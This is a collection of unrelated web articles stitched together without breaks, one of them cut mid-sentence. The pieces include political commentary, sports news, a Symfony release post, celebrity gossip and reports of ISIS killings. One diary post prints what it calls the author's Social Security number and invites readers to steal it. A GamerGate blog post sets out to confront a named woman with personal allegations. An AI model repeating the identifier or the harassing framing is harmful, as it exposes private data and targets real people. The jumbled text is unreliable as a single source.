By the end of the year, Boehner said he'd had enough with the right's reactionary BS, which some people viewed as a harbinger of a long-awaited moderation (I dissented). But then he and other GOP leaders made it clear they aren't terribly excited about extending emergency unemployment benefits. And on Thursday they hinted that they won't be rising to the next occasion either.
A bipartisan group of senior House and Senate lawmakers has introduced legislation that would partially patch the giant hole the Supreme Court blew in the Voting Rights Act last year. And now it's more or less up to Boehner and company to decide whether they support the fix, and, if so, whether they want the right to have veto power over it.
In other words, will the Voting Rights Act fix be like ENDA? Like immigration reform? Or will GOP leadership surprise everyone and adhere to democratic principles, even if it means conservative hard-liners have to grouse among themselves about how poor black people will find it too easy to exercise their franchise.
The early leaks from GOP operatives aren't very promising.
From Roll Call: "The effort does not yet have full buy-in from Republican leadership, said a senior GOP aide."
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Leaders are wary of pushback from conservative members and are skeptical that the bill could attract the support of a majority of the Republican Conference. They are also concerned that Democrats would politicize the issue to make gains in the 2014 midterm elections.
Furthermore, Sensenbrenner, a former chairman of the Judiciary Committee and an author of the last extension of the Voting Rights Act in 2006, has occasionally voted against leaders’ priorities, most recently casting a “no” vote on the omnibus appropriations bill. That has damaged his clout with leaders, the aide said.
Part of the objection here is just bizarre. Democrats will politick the issue during the midterms if Republicans kill the VRA patch.
In 2012, the GOP's vote suppression tactics may have backfired by increasing minority voter determination and forcing Democrats to improve their GOTV (Get Out the Vote) operation. Pocket vetoing the VRA patch would invite the same dynamic.
But the full menu of objections suggests that Republicans are considerably more focused on the internal and external political ramifications of fixing the VRA than on the substantive and moral questions the Supreme Court thrust upon them. Not a hopeful sign.
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There are one or two countervailing dynamics at work, though.
The bill is designed to attract some non-trivial amount of GOP support, including from Southern Republicans. Rep. Jim Sensenbrenner, R-Wis., who co-authored the bill, told reporters on Thursday that Reps. Trey Gowdy, R-S.C., and Spencer Bachus, R-Ala., have both signed on to the bill, and Sen. Patrick Leahy, D-Vt., expressed unusual confidence that the bill will pass the Senate.
And at the risk of veering into amateur psychology, I'm pretty convinced that some Republican leaders -- particularly Majority Leader Eric Cantor, R-Va. -- sincerely believe it would be wrong to let the Supreme Court's decision be the final word on voting rights in states and districts with histories of minority disenfranchisement.
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But with $2 and a bundle of Eric Cantor's best intentions, you can buy a slice of pizza after getting turned away at your polling place in November. And at this point it doesn't look like GOP leaders are interested in putting more than their intentions on the line.You’ve no doubt heard the term, “checks and balances.” It’s usually mentioned in the context of government – of the American form of government (well, its theoretical form) in particular. The idea that the legislative branch acts as a check on the powers of the executive, while the judicial balances the legislative – and so on.
It’s a sound concept that maybe ought to be applied to police work.
Something’s got to be done.
On this point, almost everyone’s agreed. Because it’s obvious that cops are increasingly out of control.
Literally. Battlefield America: T... John W. Whitehead Best Price: $10.78 Buy New $19.06 (as of 09:30 EST - Details)
But not surprisingly.
Because there are few – if any – checks and balances on cops. Much less in the way of legal constraints – or consequences. Even in cases of egregious, indefensible conduct. Hence, they are in a very real sense encouraged to engage in egregious, indefensible conduct.
Those wearing state-issued uniforms enjoy something called qualified immunity – an obnoxious doctrine that sets them apart as a special class under the law. A protected class.
How America Was Lost:... Dr. Paul Craig Roberts Best Price: $5.00 Buy New $13.73 (as of 07:05 EST - Details) Which inevitably becomes an entitled class. Armed to the teeth – and turned loose on us.
Is it surprising that excesses occur?
Cops have every incentive to behave badly. Are rewarded for being irresponsible.
And so they do – and are.
Expecting this not to happen is kind of like not expecting stray cats to show up in ever greater numbers if you keep on putting bowls of cat food out on the porch every night.
Suicide Pact: The Radi... Andrew P. Napolitano Best Price: $1.19 Buy New $3.50 (as of 07:30 EST - Details) We’re often told (by Clovers) that government is a necessary evil because if left to their own devices, most people would otherwise run amok. Beat others up, kill them – take their stuff. It is only the prospect of consequences for reckless and criminal actions that keeps most people in check.
If true, why does the same principle apply less to cops?
Especially to cops?
Who, after all, are given life and death authority over other people. The bar ought to behigher – not lower. A prizefighter who uses his fists and skills to beat up a guy on the street faces much more serious legal consequences than a cop who does the same thing. Even though it amounts to the same thing.
Arrest-Proof Yourself Dale Carson Best Price: $4.99 Buy New $6.00 (as of 12:50 EST - Details) A worse thing, actually.
Unlike Mike Tyson, who is just one Mike Tyson, a berserking cop has the weight of an entire system backing him up. And while no one in his right mind wants to go toe-to-toe with Mike Tyson, at least you can try to kick him in the nuts or poke him in the eye or something like that – and then get the hell out of there. But if you’re facing off against a berserking cop, any self-defense – even an attempt to ward off his kicks and punches to the head – constitutes “resisting” and opens you up to summary execution at worst, multiple felony charges at best.
This is an odd idea. If you are the victim of an assault – an unwarranted attack – why should you be denied your right to defend yourself simply because your attacker happens to be wearing a special outfit?
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The Best of Eric PetersSoldier sits atop a Russian army vehicle in Crimea, 2014. (Baz Ratner/Reuters)
Vladimir Putin’s Russia pursues its own interest at all costs, not friendship with the West.
Republican presidential candidate Donald Trump has adopted a position on Russia that is uninformed even by comparison with the “reset” policy of Hillary Clinton, his Democratic opponent. If implemented, it would leave the U.S. helpless in its relations with Russia, seriously threatening the independence of our democratic allies.
If the Obama-Clinton reset policy was intended to undo the damage to U.S.–Russia relations supposedly done by President Bush, what Trump is proposing is that the U.S. and Russia become de facto allies and work together “to defeat terrorism and restore world peace.”
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Trump has indicated that he is open to lifting sanctions against Russia imposed after the 2014 Russian invasion of Ukraine and to cooperating with Russia in Syria, ostensibly against the Islamic State. He has suggested that the NATO alliance is passé and that, if elected, he would not necessary abide by the U.S. commitment under NATO to defend the Baltic republics.
Trump’s Russia policy, however, has no chance of leading to an improvement in relations between the U.S. and Russia or to greater world stability. The reason is that although the U.S. wants Russia as a friend, Russia’s leaders need the U.S. as an enemy. Only in this way, can the anger of the Russian people be directed against the West instead of against them.
The leaders of post-Soviet Russia use wars to achieve internal political objectives. The first Chechen war was “a small victorious war” that was calculated to raise the popularity of President Boris Yeltsin, which fell because of the suffering caused by market “reforms” in the 1990s. The second Chechen war was started to save the Yeltsin entourage from prison or worse and assure Vladimir Putin’s rise to power. Four apartment buildings in Buinaksk, Moscow, and Volgodonsk were blown up in 1999, killing 300 people; the attack was blamed on Chechen terrorists. In fact, there is overwhelming evidence that the bombings were carried out by the Russian Federal Security Service (FSB), the successor to the Soviet-era KGB. This evidence includes the fact that FSB agents were caught after placing a bomb in a fifth building in Ryazan southeast of Moscow and that Gennady Seleznev, the speaker of the Russian Duma, announced the bombing in Volgodonsk on September 16, 1999 — three days before it occurred.
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The bombings were used to justify a new invasion of Chechnya and success in that war brought Putin to power. In other words, there is overwhelming evidence that Putin rules as a result of an act of terror against his own people.
The leaders of post-Soviet Russia use wars to achieve internal political objectives.
The war in Ukraine was also a diversion. It was launched to distract the Russian people from the lessons of the Maidan revolt in Ukraine, specifically that it is possible for a people to organize spontaneously and overthrow a kleptocratic regime. The war in Syria, in turn, was undertaken in order to distract attention from the lack of success in Ukraine. The ambitious plans to carve out a “New Russia” from sovereign Ukrainian territory were at least temporarily frozen in the face of Western sanctions and stiff Ukrainian military resistance.
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Trump’s call for a grand bargain with Russia is therefore naïve and misguided. It will not inspire Russia to cooperate with the U.S. for the common good but instead serve as an open invitation to further aggression with potentially serious consequences. The following are a few of them:
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Ukraine: At the present time, Russian troops are massing in areas of occupied Crimea adjacent to mainland Ukraine. The Ukrainians expect an offensive by the Russian Army at any time. Meanwhile, the Ukrainians report that the Russian-separatist forces in eastern Ukraine on August 8 attacked Ukrainian army positions 61 times in 24 hours.
The Russian-separatist army, built up by Russia on Ukrainian territory, consists of an estimated 40,000 fighters — 12,000 of whom are regular Russian troops. Leadership and coordination are provided by Russia. This force is equipped with multiple rocket launchers, anti-aircraft systems, and more tanks than many members of NATO. It is supported by another 50,000 Russian troops stationed just over the border on the Russian side.
There has been a lull in the fighting in recent months which removed Ukraine from the world’s headlines. But statements by U.S. politicians that undermine faith in the American will to react to aggression will encourage the Putin regime to intensify its efforts to destabilize Ukraine with a new offensive whether Trump is elected or not.
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The Baltics: Russia cannot defeat the U.S. or NATO in an all-out war but it has strategic superiority in the Baltics where it could provoke a conflict and then threaten to use nuclear weapons, presenting NATO with a choice of escalation or backing down.
The Russians are clearly ready to take risks. On April 14, a Russian SU-27 fighter jet flew dangerously close to a U.S. RC-135 reconnaissance aircraft over the Baltic Sea. It came within 50 feet of the American plane and conducted a barrel roll starting from the left side of the aircraft, going over the aircraft, and ending up on the aircraft’s right. This incident came two days after a simulated Russian aerial assault against the guided-missile destroyer USS Donald Cook in the Baltic Sea. One of the jets flew within 30 feet of the warship. This was the most reckless flyover of an American ship by a Russian jet since the Cold War.
The Russians are clearly ready to take risks.
The Russian leaders are not fanatics. The effort that they have invested in amassing personal fortunes attests to this. They will not risk their hold on power on behalf of a conflict they know they will lose. But they could miscalculate, which is why statements such as Trump’s that question U.S. treaty commitments are likely to invite a crisis rather than avoid one.
Indiscriminate violence: The Russian authorities act with a complete disregard for human life. In Syria, the Russian bombing is indiscriminate. According to the Violations Documentation Center, which seeks to document the attacks by all sides, the civilian death toll from Russian strikes in six months until mid-March was over 2,000. In January, according the Syria Network for Human Rights, another monitoring organization, Russian air strikes killed 679 civilians. This exceeded the number of civilians killed during that period by the Syrian Army, which is also guilty of indiscriminate bombing, as well as by ISIS (98 killed) and the al-Nusra Front (42 killed).
In light of the dangers that the present Russian regime represents, what matters is deterrence.
The bombing of civilian targets in Syria, including bakeries and hospitals, also increases the flow of refugees toward Turkey and Europe, exacerbating internal tensions in those regions and creating pressure to accept a resolution of the Syrian crisis on Russian terms.
Americans have not been immune to Russian aggression. An American was among the victims when on July 17, 2014, Malaysia Airlines flight MH17 was shot down over eastern Ukraine killing all 298 persons on board. The Dutch Safety Board confirmed that MH17 was destroyed by a missile fired from a Russian made BUK anti-aircraft battery. The Putin regime, in complete disregard for the safety of innocent international air travelers, had transferred missiles capable of shooting down planes flying at over 30,000 feet to a quickly assembled army fighting in an area traversed by one of the busiest commercial air corridors in the world.
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There was also an American victim, Sandy Booker of Oklahoma, in the 2002 Moscow theater siege in which the Russian authorities flooded a theater with lethal gas. In all cases, the Russian leaders will respect civilian lives, including those of Americans, only to the degree that they fear that they may be called to account. If an American leader like Trump responds to reports of Russian crimes by saying, “we kill plenty of people too,” he is removing what little restraint Russians are likely to exercise in military conflicts and increasing the risks to uninvolved Americans as well.
Trump has expressed concern for Putin’s attitude for him. He said that he believes that Trump respects him and wonders if Putin likes him, as if this was in some way relevant. Carter Page, an adviser to Trump on Russia policy, blamed the tensions between the U.S. and Russia on the “often hypocritical focus on ideas such as democratization, inequality, corruption, and regime change.”
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In light of the dangers that the present Russian regime represents, however, what matters is deterrence, which always has a strong psychological element. Restraining the behavior of the Putin regime requires creating the impression in both word and deed that violations will meet with a serious response. If Trump becomes president, he will, of course, have access to intelligence information that may change some of his impressions. But if he persists in his shallow opinions, the consequences could be felt by everyone.Tim Kennedy has rolled with the punches for his entire MMA career, which began in 2001 in Oroville, Calif. on the regional circuit, and ended nearly 15 years later in Toronto on the biggest stage. It wasn’t supposed to end the way it did.
Kennedy had hoped to hang up the gloves, win or lose, at Madison Square Garden three weeks earlier against Rashad Evans at UFC 205. That fight was scrapped when Evans failed to clear a medical test beforehand, which sent Kennedy to Canada for a fight with Kelvin Gastelum. He rolled with the punches, though, and ended up losing via third-round TKO (punches).
A month later, at 37 years old and with a record of 18-6, he officially retired from competing in the sport of mixed martial arts, posting a message on his Facebook page. Though the setting wasn’t what he at first envisioned, and the ambulance ride to the hospital afterwards wasn’t the storybook end he’d hoped, he says he knew it was time.
“I knew that the outcome of the fight regardless of a win or a loss was going to be me being retired,” he told MMA Fighting on Tuesday. “There was one or two scenarios that could have maybe kept me around, and that was me fighting Michael Bisping in like, London, for 10 percent of the entire pay-per-view, which is obviously an impossibility.”
Here he laughed, in his Tim Kennedy way of letting his dry joke sink it.
“So, I was done. I knew I was done. I wanted a Cinderella story. I wanted to go out fighting Rashad at Madison Square Garden, but that’s not how life is. So I knew I was going to be done regardless.”
Kennedy faded in the fight with Gastelum, particularly after a first round in which is exerted a lot of energy clinching and trying to take the fight to the canvas. By the second round, he looked tired. He admitted in his retirement letter that his body just wasn’t responded to what his mind was telling him. He battled on, but the fight played out for him as a real-time testament that it was time to get on with the next chapter of his life.
Part of which includes helping spearhead the Mixed Martial Arts Athletes Association (MMAAA) that he and a handful of his fellow fighters launched in November.
“I really pride myself on being intelligent, smart, but most importantly as a man that understands his assets and liabilities,” he said. “Nothing, like, existentialist or anything, but when you are critically evaluating yourself and your performance, you know what you’re supposed to do, but physically you’re not able to do it. If anything, that fight — and more specifically, my performance in that fight — solidified in every single way that I was doing the right thing by walking away from the sport.”
Kennedy, a special forces operator who is still active military, said that in his last fight, which many paid attention to behind the scenes, might produce a cold shoulder from the UFC, given his involvement with the MMAAA. He said that wasn’t the case.
“No, it was actually 100 percent professional and candid and honest,” he said. “At UFC 205, they went out of their way to be accommodating and courteous, like it should be. Not that it was that surprising. I love fighting for the UFC, and I love this sport. I just know that we just need a change, and something needs to happen for the sport to continue.”
In his note, Kennedy wrote that he will devote himself to helping other fighters who will need support at the end of their own careers.
“So with that, to all of you fighters out there, I am not going anywhere,” he wrote. “ I love fighting and will always have the heart of a figher. I am committed to growing our sport and taking care of those who are a part of it. As sad as it is for me to walk away, the only thing sadder would be for me to stay because I had no other choice in order to feed my family. Someday the Kelvin Gastelum’s and the Yair Rodriguez’s and the Paige VanZant’s will be sitting in their respective emergency rooms with their respective Nick [Palmisciano]’s talking about it being over. And when that day comes, I want to make sure their future is secure.”
For that cause, Kennedy said in his post-fight career it’s full steam ahead.
“I think my involvement directly with mixed martial arts will be specifically in that capacity,” he said. “I’m going to be a martial artist until the day I die. I’m going to be competitive guy. I want to fight to fight Fedor [Emelianenko] in a super-fight grappling competition. I want to rematch Roger [Gracie], but maybe in a gi this time so he has a chance. I’m not done, it’s just the fights that I’m going to be picking will be much more meaningful, much more significant.”
Kennedy, who was at a weapon’s convention on his first day of retirement, reiterated that there’s a big picture component to his overall fight, which helps deal with the finality of walking away.
“MMA on an athlete’s side is a very selfish, lonely thing,” he said. “The things that I’m going to be fighting for are vastly more important than winning the title, or fighting for a fight purse. This is real stuff, that might permanently affect how this sport is shaped.”
Kennedy had a strong run in both the loaded Strikeforce and UFC middleweight divisions, having stood in against a who’s who. He fought Ronaldo Souza and former UFC champion Luke Rockhold, and defeated future champions Robbie Lawler and Michael Bisping.
Asked about what he wants his overall legacy to be, when it’s all said and done beyond just his fighting career, Kennedy downplayed the word itself. He said the idea was to leave things in a better state than where he found them.
“I don’t care about a legacy,” he said. “If someone ever mentions my name again, regarding what I did in the sport as a competitor or now I think as somebody that’s going to reshape how it is now and how it affects athletes, I’m okay with that. Because I’m still going to make change. I am guy that fought for the biggest promotions in the world, in the darkest and dirtiest eras of the sport, against the most roided-out dudes we’ll ever see compete in the sport, and I was one of the best.
“I never ended up being the best, and that’s what I wanted. So, now it’s about the more important things.”
Kennedy did say that the MMA world would continue to hear from him regularly through his work with the MMAAA.
“Yeah, this is not a slow-moving thing,” he said. “This is not a lawsuit that is going to take years. You’re going to see announcements every month. You’re going to see who’s part of this outspokenly, who are athletes on the roster that have already joined. You’re going to see content about why this is important coming out. And if you saw me fight, and you saw how I fought in the cage, this is something that I think is much more important than my performance, and I’ll fight much more fiercely.”Brew Town. City of Festivals. German Athens. MKE.
The Society of Typographic Aficionados (SOTA) is pleased to announce that Milwaukee, Wisconsin, will be the host city for TypeCon2012.
We are very excited to be working with folks at the historic Hamilton Wood Type & Printing Museum – in nearby Two Rivers, Wisconsin – on several special events and workshops for the conference. We’d also like to thank the top notch crew of local typophiles who have been instrumental in helping us bring TypeCon back to the midwest.
Dates and venues for next year’s conference will be announced in the following weeks.
If you are interested in helping with TypeCon2012 preparations and planning, we will be looking for plenty of volunteers who love type and design as much as we do.
Additional information and updates will be published on the TypeCon site, via our Twitter stream, as well as in our email newsletter.IG The video appears to show Islamic State (ISIS) militants gunning down children
The distressing footage shows around 200 bound children being forced to lie face down in a line as they await the mass execution. The corrupt killers are then seen opening fire on the children with automatic rifles, ending the terrifying video.
While the authenticity of the footage has yet to be verified, ISIS have been known in the past to film their barbaric executions before posting them online as a sick warning to the West. The evil militants have also boasted about killing children as part of their evil terror regime and self-declared Caliphate.
IG One of the terrorists pointing a gun in the video
The video - which Express.co.uk has decided not to show - first began circulating online earlier today by a Yemen-based anti-ISIS activist, and has since sparked fury across the world. One commenter wrote: "God burn Daash [a derogatory Arabic term for ISIS] and their supporters." Another added: "Lack of ethics and humanity, under the guise of religion."
IG The sick footage is believed to have featured around 200 children
IG The sickening video is the latest in a long string of ISIS propagandaSo Long and Thanks for All the Fish, Symfony2
Symfony 2.8 has just been released. It marks the end of the road for the Symfony 2.x series active development and further improvements will be done in the 3.x series from now on. Version 2.8 is an LTS (Long Term Support) release and will be supported for bugfixes until November 2018 and security fixes until the same month of 2019.
In it's over four year life span the components and the accompanying framework have gathered new functionality and continuous stream improvements, but the core principles announced in July 2011 of embracing standards and being decoupled remain unchanged:
Symfony2 embraces standards: First, Symfony2 is willingly centered around the HTTP specification (just have a look at the built-in HTTP reverse proxy). Then, we are embracing the PHP standards: PHPUnit, namespaces, PSR-0 autoloader,... That makes Symfony2 easily interoperable with many other great PHP libraries.
Symfony2 is decoupled: Beside being a full-stack framework, Symfony2 is also a set of decoupled and cohesive components; Symfony2 is made of 21 components that can be used as standalone libraries: they have their own Git repositories, and they are all available as PEAR packages.
In this time the whole PHP community have adopted the same principles, with PSR-7 and the recent release of Drupal 8 are great examples of this activity. With both HHVM and PHP 7 providing improved performance and new language features, there is excitement in the air - much like there was around the launch time of Symfony2.
As a curiosity, Firefox was in version 5 at that time. Browser versions have obviously gone ballistic since that time :)
From Symfony 2.0 to 2.8
During it's lifetime the framework has enjoyed a total of nine major releases:
In Semantic Versioning lingo the above ones are minor releases, but each one has added more functionality to the framework. As for patches, the LTS version 2.3 made it up to 2.3.35. The above facts are a testament to the Symfony team to deliver on time.
A formidable benchmark for any software team and one of the reasons of why PHP and Symfony are a great platform for product development.
3.0 trims the fat
Together with the the launch of Symfony 2.8 the 3.0 version is launched. Symfony 3.0 contains only minor differences for many new users. 2.8 and 3.0 have feature parity, but 3.0 has some changes to the framework structure and removes deprecated features.
The next feature adding release of Symfony will be 3.1 scheduled for release in May 2016. While that may seem far away, it's worth considering that there are plenty of new and improved functionalities in 2.8 and 3.0, such as:
I'd like to congratulate everyone involved on the effort for another release and hope you have a great time over at SymfonyCon in Paris this week - celebrating the tenth anniversary of the product and the community! And long live Symfony2, until 2019 anyhow :)
Written by Jani Tarvainen on Monday November 30, 2015
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DisqusHerve Gourdel, a French climber and mountain guide, is the latest westerner executed by a militant Islamic group.
The group known as Jund al-Khilafa killed 55-year-old Herve Gourdel after a deadline for France to halt air strikes on IS in Iraq ended. French president Francois Hollande condemned the killing as a “cruel and cowardly” act. He added that air strikes would continue in Iraq.
Hollande said that Gourdel’s abduction and decapitation was a barbaric act of terrorism.
Jund al-Khilafa posted a video of Gourdel being killed, which was entitled “Message of blood for the French government.”
Gourdel was a mountain guide from the French Alps and was rock climbing east of Algeria’s capital, Algiers, when he was kidnapped on Sept. 22. Groudel was a tourist in an area popular with French holiday-makers, which has added to the sense of shock.
A Facebook page was started for Herve Gourdel.
Our condolences go out to Gourdel’s friends and family.
-Gripped editor Brandon Pullan will update the story as more details are available.Leah Messer and Miranda Simms’ baby mama faceoff is heating up! After Leah bashed Corey Simms’ wife for losing custody of her twin daughters to the couple, Miranda is firing back by slamming Leah over Twitter.
The drama started when a Twitter user wrote to Miranda, “[Leah] and her family’s purpose is to destroy yall’s marriage. She ain’t happy so doesn’t want anyone else to be happy.” The pregnant reality star responded, “It doesn’t seem to phase us anymore, consider the source LOL.”
Corey’s second wife tweeted later on, “I would hate to be that miserable & delusional. I’ll definitely be praying for you!”
Miranda is responding to the interview Leah gave to Us Weekly, where she accused Miranda of enforcing strict rules after Corey and Leah slept together only months into Corey’s second marriage. “I’m not allowed to call Corey’s phone to communicate with the girls unless she’s somehow three-wayed in,” Leah explained. “He has to be around her when he calls.”Story highlights A Russian officials said two Americans were expelled after an "unfriendly move" by the U.S. that was not specified
The diplomatic incident comes after several recent military close calls between Russia and the United States
Washington (CNN) Diplomatic relations between the U.S. and Russia began to unravel after Moscow said Saturday it had expelled two American diplomats and the U.S. revealed it had tossed two Russians in response to an attack on one of its personnel.
"On June 17, we expelled two Russian officials from the United States to respond to this attack," State Department spokesman John Kirby told CNN, referring to an American diplomat who the spokesman said "was attacked by a Russian policeman" while trying to enter the U.S. embassy last month in Moscow.
Russia revealed Saturday it had responded in kind.
According to Russian State News Agency Sputnik, Deputy Foreign Minister Sergei Ryabkov said two Americans were declared persona non grata after an "unfriendly move" by the U.S. that was not specified.
The State Department declined to comment directly on that report.
Read More3 May 2009 by Mike GogulskiPosted in diary
It seems that on 31 July 1982 (during the Reagan years, for those of you who can remember), I signed some little piece of paper issued by some group of fucktwits calling themselves the “Department of Health and Human [sic] Services”.
In the course of the intervening years, numerous people asked to see this silly little piece of paper, and I showed it to them. Perhaps I did so out of pride, simply for having a little piece of paper of my own. Perhaps I did so out of fetishistic glee at feeling “a part of something”. Perhaps I did so because, otherwise, I couldn’t obtain a lawful salary.
Hell, I don’t even remember.
It had a number on it: 595-12-5274.
595-12-5274
595-12-5274
Here, and now, I provide this number for the simple joy of numbers themselves… so that you, too, may feel silly… so that you, too, may enjoy the pride of being 595-12-5274, and so that you, too, might enjoy my former, fetishistic glee at being a “part”.
A part “of”.
A part of, “something”.
A part of “something”… numerical.
Something… numerological.
Something… magical.
A part of a something that will chew out your decayed, barren, poisoned soul, and then ask you if you’re satisfied — for customer assurance purposes, of course.
Of course.
Steal this number. Please — steal this fucking number.
Inspired, in part, by Billy Beck, by a liter of Smädný Mních (Vybrobené z prírodných slovenských surovín!), and by Robert Anton Wilson (may he rest without consciousness).Guess who’s coming to town? If you can read the title (and I’m assuming you can, having come this far) you know who’s coming:
The only question is, will Brianna Wu grant ya boy Ralph an interview? Any bets?
I have a few questions to ask her, of course. Like the accusations her former employee made just a couple of weeks ago. Or maybe I could ask her how it felt to have so many of her supposed allies turn on her. Twice. Perhaps I should also address the Sarin gas lie with her as well. There’s also the issue of her husband’s alleged abuse, but maybe I should just ask him, since he will be there as well. There’s a lot of ground to cover, so hopefully she can spare a couple of moments for a member of the enthusiast press. We are going to be at a fan convention after all.
So, Brianna, what time is your panel? I don't want to be late! #GamerGate pic.twitter.com/1bhIws1j9n — Ethan Ralph (@TheRalphRetort) April 24, 2015
I’m heading down to the convention right now. I’ll post updates from the hall. Their website sucks, so I’m not sure what time the panel starts. If anyone can figure that shit out, post it. Either way, I doubt it’s started by 1PM EST. It will likely be in the evening, or at least 3 or 4 o’clock. But we’ll see.
Wish me luck!
UPDATE: I have my badge and everything is a go for tonight at 10 PM EST, when Brianna Wu is hosting a hilariously titled panel called “GamerGate 101.” I would have set up there until it started, but it didn’t really seem to be going very hard at this time of day. Maybe it will be better later. Of course I have to question anyone honoring the Wu’s, but I’ll give it a chance. I’m really just there to see and record the crazy shit Wu says anyway, though. But I will give further impressions as well.
https://twitter.com/TheRalphRetort/status/591689072416022528
UPDATE II: The official Twitter account of the convention seemed to just fucking threaten me with the police, for some unknown reason.
.@RavenCon Or just trying to say a man who paid his way and hasn't done a thing has no rights to the panel? #GamerGate — Ethan Ralph (@TheRalphRetort) April 24, 2015
(archive link)
The other side loves to do this sort of thing. I’ll be prepared for anything, and I won’t be deterred from attending |
of the Dean,” but that “the dean has not approved, nor would he approve, academic credit for internships at Planned Parenthood or abortion organizations.”
Follow the author of this article on Twitter: @AGockowskiNasal spray vaccine that stops heart attacks by cutting fat in arteries 'will be here within five years'
Reduced fatty deposits in mice by up to 70%
Hope: A vaccine administered by injection or nasal spray that could prevent heart attacks could be available in the next five years
Scientists have made a major breakthrough in the prevention of heart attacks after developing a vaccine that dramatically reduces fat in the arteries.
The drug, which can be administered by injection or nasal spray, could be available within five years.
Current treatment involves medication that reduces cholesterol and blood pressure.
But the study by Lund University in Sweden is the first which has targeted the underlying cause of heart disease.
Prof Peter Weissberg, the British Heart Foundation medical director, said the vaccine was'very promising'.
Fatty deposits can place great strain on the heart by narrowing the arteries and forcing it to pump far harder.
This treatment works by stimulating the body's immune system to produce antibodies which tackle this build-up.
In tests on mice, researchers found that it could reduce plaque by 60 to 70 per cent, it was reported in the Daily Telegraph.
Breakthrough: Researchers found the vaccine could reduce fatty deposits in mice by up to 70 per cent
The resulting injection is waiting regulatory clearance to start clinical trials.
A second vaccine has been created as a nasal spray. A trial on 144 heart disease sufferers is under way in the U.S. and Canada.
There are around 2.7million Britons with heart disease, costing more than £3billion in treatment every year.
But Prof Jan Nilsson, professor of experimental cardiovascular research at Lund University, said it was unlikely that the drug would be administered like traditional vaccines in childhood.
'The antibody therapy in particularly is likely to be expensive, so you could probably only afford to give it to high-risk populations rather than everyone,' he told the Daily Telegraph.Hollywood was enraged at the charges that they’ve been out of touch and live in a bubble after the election of Donald Trump. In an attempt to defuse those claims, they decided to address the subject that was near and dear to all Americans, declaring that emojis are racist.
Actress Ashley Judd wrote a long Facebook post on January 10th claiming that emojis, especially the yellow smiley face, are the epitome of white privilege.
“White/yellow-ish is the default color. If you’re other than white, you have to scroll to search for an emoji of color that more closely resembles your experience,” Judd posted on Facebook. “But….what if emojis, came, standard issue, in black? So WE whites had to scroll to find a color that more accurately resembled US? Multiply that times the incalculable…. And that gives me a glimpse of what it may be like to be a person of color in a white-centric world. Everything set to the standard of whiteness, everything else a variation thereof.”
Somehow yellow, which used to be known as a derogatory color to describe Asians, has evolved in the mind of social justice warriors as a way to oppress minorities. Apparently, they haven’t found enough things to be offended over.
Believe it or not, the smiley face wasn’t designed by a member of the Klan or a white supremacist organization. It was created in 1963 by the graphic artist Harvey Ross Ball to raise the morale of an insurance agency. The color yellow was chosen because it easily stands out and is a symbol of cheerfulness.
Don’t try to reason with a liberal, though.
Judd also announced that she doesn’t want to be called “white” and instead identifies as a “non-person of color.” It’s very clear that the actress did not think that title through because a yellow Labrador is a “non-person of color.” It’s legitimately not a person and has a color.
It’s going to be a very long four years for progressives if these are going to be the battles they choose to fight.
Latest VideosToday, with help from the creative band OK Go, we are announcing the date for the first-ever White House Maker Faire: June 18!
Watch on YouTube
Like OK Go, the President is fired up about hosting the first-ever White House Maker Faire, where he will celebrate America’s students and entrepreneurs who are inventing the future by using new tools and techniques to make just about anything in local communities and classrooms.
America has always been a nation of tinkerers, inventors, and entrepreneurs, which has fueled our economic growth. In recent years, a growing number of Americans have gained access to technologies such as 3D printers, laser cutters, easy-to-use design software, and desktop machine tools. These tools are enabling more Americans to design and build almost anything. Across the country, vibrant grassroots communities of innovators, visionaries, and manufacturers are organizing Maker Faires, creating local makerspaces, and mentoring the next generation of inventors.
The rise of the Maker Movement represents a huge opportunity for the United States. Nationwide, new tools for democratized production are boosting innovation and entrepreneurship in manufacturing, in the same way that the Internet and cloud computing have lowered the barriers to entry for digital startups, creating the foundation for new products and processes that can help to revitalize American manufacturing.
Making can inspire and empower more young people to excel in design and STEM (science, technology, engineering, and math) and to pursue careers making things in manufacturing. Apple co-founder and former CEO Steve Jobs once described the important impact that having access to an electronics kit had on him saying, “it gave a tremendous level of self-confidence, that through exploration and learning one could understand seemingly very complex things in one's environment.”
That’s why on June 18, the President is hosting the first-ever White House Maker Faire, which will feature Makers, innovators, and entrepreneurs of all ages who are using cutting-edge tools to bring their ideas to life. These projects will delight and amaze us, and some may very well create industries and jobs of the future.
The Administration also wants to ensure that we make the most of these opportunities. We are working with companies, mayors, colleges, libraries, museums, and many others that are striving to answer the President’s call to support a generation of Americans who are “makers of things, not just consumers of things.”
In addition to the Makers who will be at the White House, we want June 18 to be a nationwide Day of Making when communities across America share and celebrate their involvement in this movement. On Twitter, we’ll be using #NationOfMakers and encourage you to use it as well, to share all the amazing work going on around the country and to connect with other Makers like you.
There are so many ways to get started. Here are a few ideas to get you thinking. On June 18, you can:
Post photos of a current maker project you are working on or choose a new project to work on and ask a couple of friends or family members to build it with you. You can find fun and creative projects ideas from a variety of websites for Makers such as MAKE.
you are working on or choose a new project to work on and ask a couple of friends or family members to build it with you. You can find fun and creative projects ideas from a variety of websites for Makers such as MAKE. Host an open house at your local makerspace or set up a hangout online to connect and share your inventions with Makers across the country.
at your local makerspace or to connect and share your inventions with Makers across the country. Volunteer to be a mentor for someone who is interested in learning a new skill or find a mentor who would be interested in teaching a new skill you’ve been wanting to learn for a while.
who is interested in learning a new skill or who would be interested in teaching a new skill you’ve been wanting to learn for a while. Create a project of your own and then share the plans for your project online through Maker platforms so others can also make, modify, or remix your project.
for your project online through Maker platforms so others can also make, modify, or remix your project. Organize a maker roundtable to identify and convene maker thought leaders in your community on expanding Making initiatives, programs, and activities in your neighborhood.
in your community on expanding Making initiatives, programs, and activities in your neighborhood. If you’re an organization or company, encourage your employees to volunteer as an educator and/or mentor to host maker-oriented workshops or classes in your community.
your employees to volunteer as an educator and/or mentor to host maker-oriented workshops or classes in your community. Follow the action online at obamawhitehouse.archives.gov/makerfaire
at obamawhitehouse.archives.gov/makerfaire Your idea here!
We are looking forward to June 18 and celebrating all of the wonderful stories that you share. Stay updated here, and follow along at #NationOfMakers.Britos banned for three games
By Football Italia staff
Napoli’s Miguel Britos has been handed a three-game ban for headbutting Juventus striker Alvaro Morata.
The match at Juventus Stadium was in stoppage time when the defender butted his opponent, which resulted in a penalty for the Bianconeri.
The Lega Serie A has taken a strong line on the incident, banning the Uruguayan for three matches.
Juventus have also been fined €15,000, after their fans were heard singing chants “expressive of discrimination on the grounds of territorial origin”.
Udinese’s Guilherme, Jasmin Kurtic of Fiorentina, Torino’s Crisitian Molinaro and Milan defender Cristian Zaccardo were the other players sent off at the weekend, and have all received a one-match ban.
